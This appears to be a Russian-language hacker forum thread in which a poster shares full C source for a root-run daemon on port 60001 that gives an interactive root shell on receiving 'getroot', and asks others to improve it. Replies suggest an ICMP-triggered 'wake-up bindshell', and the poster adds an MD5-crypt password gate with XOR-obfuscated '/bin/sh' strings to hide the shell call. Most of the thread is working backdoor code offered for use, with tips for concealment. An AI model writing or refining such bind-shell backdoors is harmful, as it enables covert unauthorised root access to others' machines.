Просьба к гуру *NIX-систем и кодинга посмотреть прилагающийся код. Написал тут демона, компилируется (без SUID-бита) и стартуется рутом, прослушивает порт 60001, ожидает строку "getroot" и дает рут-шелл. Правильно ли он написан? Например, я не силен в обработке сигналов, посылаемых демону. Что можете посоветовать по коду, что переписать грамотнее, что добавить можно? Code: #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/wait.h> //#include <syslog.h> #include <netinet/in.h> #define PORT 60001 #define MAX_SIZE 255 void sighandler (int signum) { waitpid (0, 0, WNOHANG); } void mainloop () { int sock_srv, sock_cli, len_cli; struct sockaddr_in sin_srv, sin_cli; if ((sock_srv = socket (AF_INET, SOCK_STREAM, 0)) != -1) { memset (&sin_srv, '\0', sizeof (struct sockaddr_in)); sin_srv.sin_family = AF_INET; sin_srv.sin_addr.s_addr = htonl (INADDR_ANY); sin_srv.sin_port = htons (PORT); len_cli = sizeof (struct sockaddr_in); if ((bind (sock_srv, (struct sockaddr *) &sin_srv, sizeof (struct sockaddr_in))) != -1) { while (1) { if ((listen (sock_srv, 10)) != -1) { if ((sock_cli = accept (sock_srv, (struct sockaddr *) &sin_cli, &len_cli)) != -1) { //syslog (LOG_NOTICE, "connection from %s", inet_ntoa (sin_cli.sin_addr)); if (!fork ()) { dup2 (sock_cli, 0); dup2 (sock_cli, 1); dup2 (sock_cli, 2); operate (sock_cli); } close (sock_cli); } } } } close (sock_srv); exit (0); } } void operate (int sock) { char answer [MAX_SIZE]; char query [MAX_SIZE]; memset (answer, '\0', MAX_SIZE); memset (query, '\0', MAX_SIZE); read (sock, &query, MAX_SIZE); query [strlen (query) - 1] = '\0'; if (strstr (query, "getroot") != NULL) { //sprintf (answer, "Your string: %s, length: %d\n\0", query, strlen (query)); //write (sock, answer, strlen (answer)); setreuid (0, 0); setregid (0, 0); execl ("/bin/sh", "sh", "-i", NULL); } else { strcpy (answer, "Fuck out\n\0"); write (sock, answer, strlen (answer)); } exit (0); } void daemonize () { int pid; struct sigaction sa; pid = fork (); switch (pid) { case 0: setsid (); chdir ("/"); //close (0); //close (1); //close (2); memset (&sa, '\0', sizeof (struct sigaction)); sa.sa_handler = &sighandler; sigaction (SIGCHLD, &sa, 0); //openlog ("mydaemon", 0, LOG_USER); mainloop (); //closelog (); exit (0); case -1: printf ("[-] fork\n"); break; default: printf ("ok. PID = %d\n", pid); break; } } int main () { daemonize (); exit (0); }
Зависит от пользователя, от которого запущен демон. Но для начала неплохо . Но, всё таки, посмотри в сторону pty. Если интересна авторизация, то можно не читать строку "getroot" , а ловить icmp пакеты и парсить их(wake-up bindshell)
Да, все правильно. Демон запускаться будет от рута. А авторизацию я сделал таким образом Code: #define MAGIC_WORD "тут_хэш_md5_unix" char magic_word1 [] = "\xae\xe3\xe8\xef\xae\xf2\xe9\x00"; // поксоренный c 0x81 /bin/sh char magic_word2 [] = "\xf2\xe9\x00"; // "sh" ^ 0x81 char magic_word3 [] = "\xac\xe8\x00"; // "-i" ^ 0x81 ... if (strstr (crypt (query, "$1$это_соль"), MAGIC_WORD) != NULL) { for (i = 0, len = strlen (magic_word1); i < len; magic_word1 [i++] ^= 0x81); for (i = 0, len = strlen (magic_word2); i < len; magic_word2 [i++] ^= 0x81); for (i = 0, len = strlen (magic_word3); i < len; magic_word3 [i++] ^= 0x81); setreuid (0, 0); setregid (0, 0); execl (magic_word1, magic_word2, magic_word3, NULL); } По-ламерски, конечно, сделано, отловить пасс сниффером не составит труда. А насчет icmp-пакетов сэнкс, я уже подумывал
почемц memset (&sin_srv, '\0', sizeof (struct sockaddr_in)); а не bzero(&sin_srv, sizeof (struct sockaddr_in));?